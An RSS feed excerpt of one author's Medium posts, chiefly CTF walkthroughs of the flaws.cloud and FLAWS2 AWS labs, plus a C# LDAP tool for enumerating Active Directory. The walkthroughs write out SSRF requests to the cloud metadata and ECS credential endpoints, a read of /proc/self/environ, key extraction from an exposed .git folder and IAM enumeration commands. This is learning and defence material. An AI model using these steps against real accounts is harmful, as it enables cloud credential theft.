            <guid isPermaLink="false">https://medium.com/p/6a1bc437c723</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[blue-teaming]]></category>
            <dc:creator><![CDATA[Piyush Pradhan]]></dc:creator>
            <pubDate>Wed, 08 Jun 2022 15:46:55 GMT</pubDate>
            <atom:updated>2022-06-08T15:52:41.388Z</atom:updated>
            <content:encoded><![CDATA[<h3>Blue teaming with FLAWS</h3><p>Okay, so FLAWS2 Defender path isn’t like a challenge, more like a walkthrough. Just has a set of instructions that explains how security works in AWS and what exactly was compromised.</p><p>We’re given a set of credentials for “security” and the first thing we are asked to do is download the CloudTrail logs.</p><p>This account has access to “flaws2-logs” bucket which obviously contains the logs for flaws2 challenge.<br>aws s3 — profile defender sync s3://flaws2-logs .</p><p>This downloads those log files into the current directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*Lt3sVp-8jSEXan7L423YGA.png" /></figure><p>Of course, these can be accessed through the AWS dashboard too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*03wObr-F5saQUxAwWEYQPw.png" /></figure><p>Next I’m asked to add another profile with the “security” profile as it’s source. The purpose for doing this was that it’s a common practice to keep a separate account for keeping Cloudtrail logs which also has some access to other accounts. The interesting thing about this “source profile” is that it’s like a temporary profile and since this account has this `sts:AssumeRole` privilege I can request access for certain roles for this temporary account that I’m about to create.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*5MH09pEzmlDJzDAVg-3bSA.png" /></figure><p>For creating this temporary account, I simply have to add another section inside “~/.aws/credentials”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ag34d3msQYKx1KPsULgpbA.png" /></figure><p>It doesn’t have access to those logs bucket, however it seems to have similar access to S3 buckets as the attacker account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*Gc3CTqL7Wna_c0nrpVF67g.png" /></figure><p>Now back to those logs (those json.gz files), after unzipping and taking a look at those I think those are from way back when this challenge was created. The “EventTime” here is from 2018.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Ae5mdDTMKqJxSnWxL0PR9Q.png" /></figure><p>The website says,</p><blockquote>These are logs basically about how AWS works, and not any actions anyone did.</blockquote><p>So what it means is that these logs just describe what has happened with this accounts, like what services/roles were configured or used stuff like that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*TQvMtsYtHCMeHiDI8Nue3w.png" /></figure><p>Next part is tracing the attack back to its origins. This time I’m looking at all the “ListBucket” events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*7Kopw3AtiE3vX4VF_xzXxQ.png" /></figure><p>By the way, I have to say this “jq” tool is really powerful. It makes looking at these JSON files so convenient. <br>Anyway, looking at these logs, it’s quite clear who was trying to “ListBuckets”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*UErqt7D-CNOQ-Bi_bln0LQ.png" /></figure><p>So, it turns out “level3” role was used by someone to perform this action. According to the response from aws-cli, this role is supposed to be used by ECS to call AWS services, but the IP present in the logs is not an “AWS IP”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/150/1*bfnv5TK-zgZd61ph3DgIqw.png" /></figure><p>I found these IP ranges from AWS docs, there were a ton of ranges. So I did not bother to check these and decided to believe in FLAWS. I’ll probably look into it later on.</p><blockquote>Normally, you’d see the resource (the ECS in this case) having made AWS API calls from it’s own IP that you could then compare against any new IPs it may have made.</blockquote><p>This seems like a pretty standard approach, I should keep this in mind.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*sOq70UsaHm3R1OmZCBNJjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*MHNKC8jyDS-vaLrB6xN_0g.png" /></figure><p>These are the actions I performed while I was solving the attackers path. Although these aren’t my logs, but someone did something similar, back in 2018.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*ZmmAYvvCceABLqTnAznkAA.png" /></figure><p>Here, the “Principal” is set to \*, which now I know, means that these actions can be perfomed by everyone because the ECR is public.</p><blockquote>To prevent something like this from happening “CloudMapper” must be used to identify all the public resources.</blockquote><p>The next part was just doing the same thing but using Athena, which essentially uses SQL queries to query these logs. <br>With this, I’ve completed this FLAWS challenge. I may mess around with AWS services for a while to better understand things and actually try to use these techniques on my own deployments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a1bc437c723" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Going down the attacker path — FLAWS2]]></title>
            <link>https://medium.com/@mediocre314/going-down-the-attacker-path-flaws2-fb2feb7dc60?source=rss-d83087140f8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb2feb7dc60</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[flaws-cloud-walkthrough]]></category>
            <category><![CDATA[cloud-pentesting]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Piyush Pradhan]]></dc:creator>
            <pubDate>Sun, 05 Jun 2022 13:19:14 GMT</pubDate>
            <atom:updated>2022-06-05T13:19:14.424Z</atom:updated>
            <content:encoded><![CDATA[<h3>Going down the attacker path — FLAWS2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*WR1RuIj1TeA1mWtz-xEJeQ.png" /></figure><p>To be honest, I wasn’t sure how to approach this one, I checked my notes from flaws.cloud challenge (the first version)<br>I tried looking at an incorrect submission response. maybe this is a hint after all, this follows the format for s3 bucket URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*Wg94bOfOafux5DU4UQQ53A.png" /></figure><p>But I’m not allowed to access it using browser or…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*eBPKbu8FSwf92qIlsTr_wg.png" /></figure><p>via AWS CLI.<br>Completely out of ideas, I decided to check the hint, and then it hit me. I didn’t even try messing with the input!<br>It asked me not to bruteforce, but what if I try something else. In the source code, it’s parsing the input into a float value and checking if the provided input is a finite number.<br>I tried putting in characters and numbers greater than the 100 digit limit couldn’t break it. Remember the s3 bucket url, it was passing input through url params, I tried changing that and it worked.<br>Actually it didn’t it, showed me some errors but those errors exposed some sensitive information, like AWS Access ID of someone’s account, who probably has access to that bucket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fAdn4gxfXCm6CXKyv3HeCA.png" /></figure><p>Well, that didn’t go well, I tried adding this profile to my AWS CLI but it says this access key ID does not exist. That’s because I hadn’t added the session token, if MFA is enabled then I have to include the session token in the “credentials” file as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*MeWK9PAYDJj7VGNrEddEhg.png" /></figure><p>However, I can’t find a bucket with this url and I do not have permission to list buckets in this account.<br>Maybe that’s not the bucket url…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*Xu4qiWdccW2hXN_iJb_VjA.png" /></figure><p>Now that I look back at it, it was pretty straight forward.</p><h3>What went wrong ?</h3><p>AWS Lamba obtains IAM role credentials as environment variables. These are not supposed to be accessible but sometimes developers tend to dump these during errors to help with debugging. That’s why when I used alphabets instead of digits the website behaved pretty well and showed me a alert dialog but the url it was sending request to showed the error message and those environment variables were exposed.</p><h3>The next target — Level 2</h3><p><strong>Target</strong> : <a href="http://container.target.flaws2.cloud/">http://container.target.flaws2.cloud/</a><br>For this one we already have a hint here, “ECR is named level2”.</p><p>AWS ECR (Elastic Container Registry) allows users to manage and analyse various images.</p><p>In this case, I have the name of the repository, I’ll just check if this actually exists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*kAiFl7Tah307WuGvveBU_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*wOwrWX6wN5dC326TYjjn0w.png" /></figure><p>After messing around with these images a little bit, I found the docker login credentials for this container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZDl9_foisV39mBwYE3IGnQ.png" /></figure><p>I can use these creds to look into the docker image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wlbTGLg1UOMIwViZfStAJA.png" /></figure><p>I’m pretty sure there is something useful in there I just need to format it a little bit, or better yet, I’ll just download the entire thing.<br>I used the credentials I found earlier to pull the entire image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vrXxP2aXROKkf4sU_o2EuA.png" /></figure><p>Upon inspecting the level2 image, I found several layers. I tried to extract some information from these layers using AWS CLI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2XWxtZYoeRrFEdkRd5UHxg.png" /></figure><p>I used the “Id” of the docker image to get it’s download url, it gave me a text file, looks like a log file but in JSON format.<br>There it is, the password with which this image was setup, my entry point to level 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*OEg3ks6N6dqCXVm36hiyIg.png" /></figure><h3>Moving on to Level 3</h3><p>This time we are given two links, hinting towards the /proxy endpoint, which reminds me of flaws.cloud (the first part of this challenge). In level 5 I encountered something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*D4_LBgSu-ep3LQrurXVseQ.png" /></figure><p>Unfortunately, that didn’t work because these are for S3 buckets, but in this case we have a container deployed on ECS. And for containers deployed on ECS, I found this on AWS Docs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*eYf3xLELVmTayTv0AlriJg.png" /></figure><p>To be honest, I couldn’t understand everything that’s written here, but I’m pretty confident that I have to look for this AWS_CONTAINER_CREDENTIALS_RELATIVE_URI. Right after the magic IP (not sure if it’s called magic IP for <strong>ECS</strong> containers too) the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI environment variable determines the endpoint for finding credentials. In other words I have to navigate to /proxy/http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI<br>These credentials are placed there for containers that need it to communicate with or use other AWS services. These are generally used for testing purposes.<br>Now, where are environment variables stored on a linux system ? /proc/self/environ. That’s the endpoint I checked, and there it was.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OVfdV4zGIVA26NADUY2I4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QW6dvkaQxynXMe2Bfoh1zw.png" /></figure><p>And just like that, I now have access to another AWS account.</p><p>This account seems to have a few buckets. However, I’m not allowed to list the contents of the level 3 bucket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*elaqByDLh4ox7SaVHFoITQ.png" /></figure><p>But I can access the last “the-end…” bucket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*cnovcflZAEx_hGbZOieXZw.png" /></figure><p>Looks like this is it for the attacker path, I’ll start working on the defender path soon.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb2feb7dc60" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enumerating active directory using C#]]></title>
            <link>https://medium.com/@mediocre314/enumerating-active-directory-using-c-5f54628f23cf?source=rss-d83087140f8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f54628f23cf</guid>
            <category><![CDATA[c-sharp-programming]]></category>
            <category><![CDATA[ldap]]></category>
            <category><![CDATA[cli]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Piyush Pradhan]]></dc:creator>
            <pubDate>Thu, 05 May 2022 15:00:18 GMT</pubDate>
            <atom:updated>2022-05-12T14:34:43.069Z</atom:updated>
            <content:encoded><![CDATA[<p>My main motive was to understand how it all works behind the scenes, so that it is easier for me to attack it.</p><p>I decided to learn a bit about LDAP queries and make a CLI tool to query active directory. One way to go about doing that is using C# with .NET framework, it was quite time-taking to set it up but after that’s done, I realised I don’t really know how to make C# apps from scratch.</p><p>It was pretty clear what I had to do next, not learning C# but start writing random lines of code hoping Intellisense will do everything for me.<br>After googling stuff for some time, I figured out how to make a query against AD.</p><pre>DirectoryEntry dirEntry = new DirectoryEntry(“LDAP://10.0.2.7”, “JDoe”, “FirstTarget1”);<br>DirectorySearcher dirSearcher = new DirectorySearcher(dirEntry);</pre><p>There’s a lot going on in these two lines, I realised that a little later when I actually tried to understand what this is doing. This “DirectoryEntry” class is an encapsulation of objects in ADDS which can be provided to query, update or manage the Active Directory entries. We are allowed to a do lot more than just querying entries, with certain privileges of course.<br>In this case, as I am running this code on a domain user and not on a domain controller I have supplied the remote path of the Domain Controller’s LDAP server, along with my (domain user’s) credentials. So, now it knows where to look for entries.<br>The “DirectorySearcher” actually uses the “DirectoryEntry” class to perform search operation based on the parameters supplied using LDAP.</p><p>Oh about the parameters that I was talking about, among them is one called “Filter”, it’s pretty obvious what it is. We can use LDAP filter syntax to construct a filter string and set it to “DirectorySearcher” object and it will make LDAP query with that filter.</p><pre>DirectoryEntry dirEntry = new DirectoryEntry(“LDAP://10.0.2.7”, “JDoe”, “FirstTarget1”);<br>DirectorySearcher dirSearcher = new DirectorySearcher(dirEntry);<br>dirSearcher.Filter = “(&amp;(objectCategory=user)(objectClass=user))”;<br>try<br>{<br>   foreach (SearchResult result in dirSearcher.FindAll())<br>   {<br>     DirectoryEntry resDe = result.GetDirectoryEntry();<br>     ResultPropertyCollection resPropCollection = result.Properties;<br>     foreach (string prop in resPropCollection.PropertyNames)<br>     {<br>       foreach(Object value in resPropCollection)<br>       {<br>         Console.WriteLine(“{0} — {1}”, prop, value);<br>       }<br>     }<br>   }<br>}<br>catch (Exception e)<br>{<br>  Console.WriteLine(“[!] Something went wrong”);<br>}<br>```</pre><p>The results obtained are of type “SearchResult” which just contain a set properties and their respective values, pretty much like JSON objects. Just do result[key] and you’ll be given a value. By the way, there has to be a better way to print results there’s no way using nested loops is the only way of printing results, is it ?</p><p>Anyway, next I had to understand LDAP filters, which was pretty easy once you understand the snytax. This website explains it pretty well.</p><p><a href="http://www.ldapexplorer.com/en/manual/109010000-ldap-filter-syntax.htm">http://www.ldapexplorer.com/en/manual/109010000-ldap-filter-syntax.htm</a></p><p>After that you just have to match the attribute names and that’s it.</p><p>Here’s the results of one SearchResult, there are probably the attributes available which we can use in LDAP filters</p><pre>name : John Doe<br>lastlogoff : 0<br>lastlogon : 132962424065881972<br>instancetype : 4<br>whenchanged : 5/3/2022 12:50:07 AM<br>lastlogontimestamp : 132960126072754036<br>pwdlastset : 132959275004082512<br>primarygroupid : 513<br>distinguishedname : CN=John Doe,CN=Users,DC=VULN,DC=local<br>accountexpires : 9223372036854775807<br>cn : John Doe<br>badpwdcount : 0<br>adspath : LDAP://10.0.2.7/CN=John Doe,CN=Users,DC=VULN,DC=local<br>dscorepropagationdata : 1/1/1601 12:00:00 AM<br>displayname : John Doe<br>Ewhencreated : 5/2/2022 1:11:40 AM<br>codepage : 0<br>logoncount : 41<br>useraccountcontrol : 66048<br>samaccounttype : 805306368<br>objectsid : System.Byte[]<br>objectguid : System.Byte[]<br>objectclass : top<br>objectclass : person<br>objectclass : organizationalPerson<br>objectclass : user<br>Eusncreated : 20558<br>sn : Doe<br>usnchanged : 36924<br>countrycode : 0<br>samaccountname : JDoe<br>givenname : John<br>badpasswordtime : 132961243653455721<br>userprincipalname : JDoe@VULN.local<br>objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=VULN,DC=local</pre><p>Based on this result, I can make some functions with pre-defined LDAP filters.<br>Now looking at my code I feel like it can be optimised a lot. But anyway, it works for now. I’ve also added some functions that will provide me with information about the computers on the domain.</p><p>Something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*uVWC4Jdu4m19i_AU30uCpQ.png" /></figure><p>The script itself is pretty simple and straightforward. I’ll probably add a few more things into it as I learn more about AD.</p><p>Github repository: <a href="https://github.com/piyushpradhan/ad-query">https://github.com/piyushpradhan/ad-query</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f54628f23cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud security with flaws.cloud]]></title>
            <link>https://medium.com/@mediocre314/cloud-security-with-flaws-cloud-cc025027382e?source=rss-d83087140f8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc025027382e</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[flaws-cloud-walkthrough]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[cloud-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Piyush Pradhan]]></dc:creator>
            <pubDate>Sat, 16 Apr 2022 18:31:25 GMT</pubDate>
            <atom:updated>2022-04-16T18:31:25.816Z</atom:updated>
            <content:encoded><![CDATA[<p>In the past week, I’ve been spending my time playing around with cloud services, deploying random stuff just to try and figure out how it’s being used. I also wanted to have a vulnerable environment to try and extract something that isn’t usually made available. It was then when I stumbled across this flaws.cloud.</p><p>It is basically a cloud CTF, deployed on AWS. Explains about some common misconfigurations and how to take advantage of those mistakes.</p><h3>Finding the subdomain that contains s3 bucket for flaws.cloud</h3><pre>bucket-name.s3.region.amazonaws.com <br>bucket-name.s3.amazonaws.com</pre><p>In this case, a little bit of google dorking will be enough</p><pre>flaws.cloud site:s3.amazonaws.com</pre><p><strong>S3 Buckets should configured so that they are not publicly available. If the bucket policy is modified to allow everybody “s3:GetObject” privilege, then anyone can access the bucket.</strong></p><p>The first link had the contents of the s3 bucket in XML format I thought I’ll be able to find something interesting in robots.txt file…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*WtAJHMkHYURupkBuSu6R2w.png" /></figure><p>but…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*U5ET5fv3N8lHk1LjwWvG4g.png" /></figure><p>Looking further I found something that actually was a hint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*2C5A7_-ibMyjlpenp36PLg.png" /></figure><p><strong>secret-dd02c7c.html</strong> was the page I was looking for. That page gave me the link to the <strong>Second Level</strong></p><p>For this challenge, use of aws-cli was required.</p><p>Setting it up is fairly easy, take the <strong>Secret Key</strong> and <strong>Access Key</strong> from your own AWS account and use those to configure awscli profile. After that just enter the keys and an output format.</p><p>Now, that we have an AWS account and the bucket url we can try to list the contents of the bucket.</p><pre>aws s3 --profile &lt;profile-name&gt; ls s3://&lt;bucket-url&gt;</pre><p>The contents of this bucket practically showed me the way to level 3.</p><h3>Reached level 3</h3><p>Heading over to the url we’re provided, it’s pretty obvious that there’s a .git directory inside that bucket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*1ZemTTwOjCAVjNAOlYBQZQ.png" /></figure><p>Then I downloaded the entire bucket, so that I can extract something from the .git directory.</p><pre>aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-east-1</pre><p>By the way, we need to add this <strong>— no-sign-request</strong> flag because credentials were not loaded while making the request, probably because the bucket didn’t require us to have any.</p><p>I used <a href="https://github.com/internetwache/GitTools.git">GitTools</a> to extract information from the .git directory. This game me the AWS access key for “Scott Flaws” account. I put those in ~/.aws/credentials file and guess what, those keys weren&#39;t revoked and now I have access to his account! That was easy. The first thing I did after acquiring keys to his account, listed some buckets!</p><pre>kali:level_3/ (b64c8dc✗) $ aws s3 --profile scott_flaws ls<br>2017-02-12 16:31:07 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud<br>2017-05-29 12:34:53 config-bucket-975426262029<br>2017-02-12 15:03:24 flaws-logs<br>2017-02-04 22:40:07 flaws.cloud<br>2017-02-23 20:54:13 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud<br>2017-02-26 13:15:44 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud<br>2017-02-26 13:16:06 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud<br>2017-02-26 14:44:51 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud<br>2017-02-26 14:47:58 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud<br>2017-02-26 15:06:32 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud</pre><p>Looks like I have found the way for all the levels.</p><p><strong><em>SPOILER ALERT</em></strong> I didn’t have enough permissions to access some of those buckets. But bucket 4 was available.</p><h3>Moving on to Level 4</h3><p>To clear this level, I had to get access to a webpage at <a href="http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud</a></p><p><strong>A snapshot of that EC2 instance was taken right after setting up nginx on that website.</strong></p><p>Now even I am not able to access the s3 buckets, so the next thing that comes to my mind are EC2 Instances. In the level description it is also mentioned that a <strong>snapshot was taken</strong> right after nginx was setup on that instance. Some EC2 instacnes aren’t made public and are only accessible by some selected accounts.</p><p>So to find the snapshot first I had to somehow list the snapshots that user account has access to.</p><p>This is where I had to explore the aws cli a little more. There are tons of commands in aws cli, here is the one to enumerate user details.</p><h3>sts (Security Token Service)</h3><p>According to AWS docs:</p><blockquote><em>Security Token Service (STS) enables you to request temporary, limited-privilege credentials for Identity and Access Management (IAM) users or for users that you authenticate (federated users). I’m going to use get-caller-identity to find the details of the IAM user or role whose credentials are used to run the aws command.</em></blockquote><pre># to find the owner-id, so that I can filter the snapshots<br>aws --profile &lt;compromised-account&gt; sts get-caller-identity</pre><pre>aws --profile &lt;compromised-account&gt; ec2 describe-snapshots --owner-id &lt;compromised-owner-id&gt; --region &lt;region-name-compromised-account&gt;Now that I have the “SnapshotID” I can attach this snapshot as an EBS volume on my own instance.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*NonObBLQp97WCfid00sDjA.png" /></figure><h3>Creating EBS Volume from SnapshotID</h3><pre>aws --profile &lt;own-account&gt; ec2 create-volume --availability-zone &lt;snapshot-availability-zone&gt; --region &lt;snapshot-region&gt; --snapshot-id &lt;snapshot-id&gt;</pre><p>Then I just log into my instance using my SSH Key, mount the attached EBS volume and now I can freely move around that snapshot until I find something interesting, like this <strong>setupNginx.sh</strong> script lying inside the user’s home directory.</p><p>It has the required credentials required for unlocking level 5 webpage</p><h3>Unlocked level 5</h3><p>There’s this line, probably a hint for this level.</p><blockquote><em>On cloud services, including AWS, the IP 169.254.169.254 is magical. It’s the metadata service.</em></blockquote><p>Basically, this exists so that the cloud providers can retrieve user data and data about their own instances. This can easily be accessed locally from an authenticated account. It is mentioned in the AWS docs how to access this meta-data for a specific instance. After a little bit of googling I found the address where user credentials are generally stored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*g4VovM_O0aUbed80biOUQg.png" /></figure><p>Found another set of creds inside /<strong>iam/security-credentials</strong>, fed those to my aws cli and was able to access another account!</p><p>Then I took the level-6 bucket name from “Scott’s” account, tried to list it’s contents from this account and guess what, I have enough privileges to do that. This gave me the exact endpoint where the index.html of level-6 is located.</p><p>Here are some common techniques being used to ensure security of this metadata.</p><ul><li>Google has certain constraints on the access such as requiring it to use Metadata-Flavor: Google as an HTTP header and refusing connections with X-Forwaded-For header for obvious reasons.</li><li>AWS has created this IDMSv2 that required special headers, a challenge &amp; a response and some more protections, although it’s upto the accounts to enforce this.</li><li>Ensure applications don’t allow access to this magic IP (169.254.169.254) and IAM roles are as restricted as possible.</li></ul><h3>The final level — Level 6</h3><p>In this challenge, I probably had to look around in a certain user’s account and find a way to Level 7, which is the finish line.</p><p>First things first, <strong>finding this users’s details</strong> This level already provided me with a set of access keys for an account, so I set those up with aws cli and…</p><pre>kali:level_6/ $ aws --profile level7_flaws iam get-user<br>{<br>    &quot;User&quot;: {<br>        &quot;Path&quot;: &quot;/&quot;,<br>        &quot;UserName&quot;: &quot;Level6&quot;,<br>        &quot;UserId&quot;: &quot;AIDAIRMDOSCWGLCDWOG6A&quot;,<br>        &quot;Arn&quot;: &quot;arn:aws:iam::975426262029:user/Level6&quot;,<br>        &quot;CreateDate&quot;: &quot;2017-02-26T23:11:16Z&quot;<br>    }<br>}</pre><p>Next checked user permissions, to check what this account has access to.</p><pre>kali:level_6/ $ aws --profile level7_flaws iam list-attached-user-policies --user-name Level6<br>{<br>    &quot;AttachedPolicies&quot;: [<br>        {<br>            &quot;PolicyName&quot;: &quot;list_apigateways&quot;,<br>            &quot;PolicyArn&quot;: &quot;arn:aws:iam::975426262029:policy/list_apigateways&quot;<br>        },<br>        {<br>            &quot;PolicyName&quot;: &quot;MySecurityAudit&quot;,<br>            &quot;PolicyArn&quot;: &quot;arn:aws:iam::975426262029:policy/MySecurityAudit&quot;<br>        }<br>    ]<br>}</pre><p><strong>SecurityAudit</strong> gives permissions to monitor accounts for compliance with security requirements. So this account has access to logs and events to investigate potential security breaches or potential malicious activity, seems like it has access to a lot of information. It even gives permissions to enumerate the lambda functions, and that’s exactly what I’m going to do.</p><pre>kali:flaws.cloud/ $ aws --region us-west-2 --profile level7_flaws lambda list-functions<br>{<br>    &quot;Functions&quot;: [<br>        {<br>            &quot;FunctionName&quot;: &quot;Level6&quot;,<br>            &quot;FunctionArn&quot;: &quot;arn:aws:lambda:us-west-2:975426262029:function:Level6&quot;,<br>            &quot;Runtime&quot;: &quot;python2.7&quot;,<br>            &quot;Role&quot;: &quot;arn:aws:iam::975426262029:role/service-role/Level6&quot;,<br>            &quot;Handler&quot;: &quot;lambda_function.lambda_handler&quot;,<br>            &quot;CodeSize&quot;: 282,<br>            &quot;Description&quot;: &quot;A starter AWS Lambda function.&quot;,<br>            &quot;Timeout&quot;: 3,<br>            &quot;MemorySize&quot;: 128,<br>            &quot;LastModified&quot;: &quot;2017-02-27T00:24:36.054+0000&quot;,<br>            &quot;CodeSha256&quot;: &quot;2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=&quot;,<br>            &quot;Version&quot;: &quot;$LATEST&quot;,<br>            &quot;TracingConfig&quot;: {<br>                &quot;Mode&quot;: &quot;PassThrough&quot;<br>            },<br>            &quot;RevisionId&quot;: &quot;98033dfd-defa-41a8-b820-1f20add9c77b&quot;,<br>            &quot;PackageType&quot;: &quot;Zip&quot;,<br>            &quot;Architectures&quot;: [<br>                &quot;x86_64&quot;<br>            ]<br>        }<br>    ]<br>}</pre><p>Running that function…</p><pre>kali:flaws.cloud/ $ aws --region us-west-2 --profile level7_flaws lambda list-functions<br>{<br>    &quot;Functions&quot;: [<br>        {<br>            &quot;FunctionName&quot;: &quot;Level6&quot;,<br>            &quot;FunctionArn&quot;: &quot;arn:aws:lambda:us-west-2:975426262029:function:Level6&quot;,<br>            &quot;Runtime&quot;: &quot;python2.7&quot;,<br>            &quot;Role&quot;: &quot;arn:aws:iam::975426262029:role/service-role/Level6&quot;,<br>            &quot;Handler&quot;: &quot;lambda_function.lambda_handler&quot;,<br>            &quot;CodeSize&quot;: 282,<br>            &quot;Description&quot;: &quot;A starter AWS Lambda function.&quot;,<br>            &quot;Timeout&quot;: 3,<br>            &quot;MemorySize&quot;: 128,<br>            &quot;LastModified&quot;: &quot;2017-02-27T00:24:36.054+0000&quot;,<br>            &quot;CodeSha256&quot;: &quot;2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=&quot;,<br>            &quot;Version&quot;: &quot;$LATEST&quot;,<br>            &quot;TracingConfig&quot;: {<br>                &quot;Mode&quot;: &quot;PassThrough&quot;<br>            },<br>            &quot;RevisionId&quot;: &quot;98033dfd-defa-41a8-b820-1f20add9c77b&quot;,<br>            &quot;PackageType&quot;: &quot;Zip&quot;,<br>            &quot;Architectures&quot;: [<br>                &quot;x86_64&quot;<br>            ]<br>        }<br>    ]<br>}</pre><p>This verifies that we have the ability to execute the function “arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6” “s33ppypa75” is the rest-api-id that be used with the resource we have access to due to “list_apigateway” policy.</p><p>Now, remember there was another custom policy associated with this account I looked into that too using that’s policy ID.</p><pre>kali:level_6/ $ aws --profile level7_flaws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways<br>{<br>    &quot;Policy&quot;: {<br>        &quot;PolicyName&quot;: &quot;list_apigateways&quot;,<br>        &quot;PolicyId&quot;: &quot;ANPAIRLWTQMGKCSPGTAIO&quot;,<br>        &quot;Arn&quot;: &quot;arn:aws:iam::975426262029:policy/list_apigateways&quot;,<br>        &quot;Path&quot;: &quot;/&quot;,<br>        &quot;DefaultVersionId&quot;: &quot;v4&quot;,<br>        &quot;AttachmentCount&quot;: 1,<br>        &quot;PermissionsBoundaryUsageCount&quot;: 0,<br>        &quot;IsAttachable&quot;: true,<br>        &quot;Description&quot;: &quot;List apigateways&quot;,<br>        &quot;CreateDate&quot;: &quot;2017-02-20T01:45:17Z&quot;,<br>        &quot;UpdateDate&quot;: &quot;2017-02-20T01:48:17Z&quot;,<br>        &quot;Tags&quot;: []<br>    }<br>}</pre><pre>kali:level_6/ $ aws --profile level7_flaws iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4<br>{<br>    &quot;PolicyVersion&quot;: {<br>        &quot;Document&quot;: {<br>            &quot;Version&quot;: &quot;2012-10-17&quot;,<br>            &quot;Statement&quot;: [<br>                {<br>                    &quot;Action&quot;: [<br>                        &quot;apigateway:GET&quot;<br>                    ],<br>                    &quot;Effect&quot;: &quot;Allow&quot;,<br>                    &quot;Resource&quot;: &quot;arn:aws:apigateway:us-west-2::/restapis/*&quot;<br>                }<br>            ]<br>        },<br>        &quot;VersionId&quot;: &quot;v4&quot;,<br>        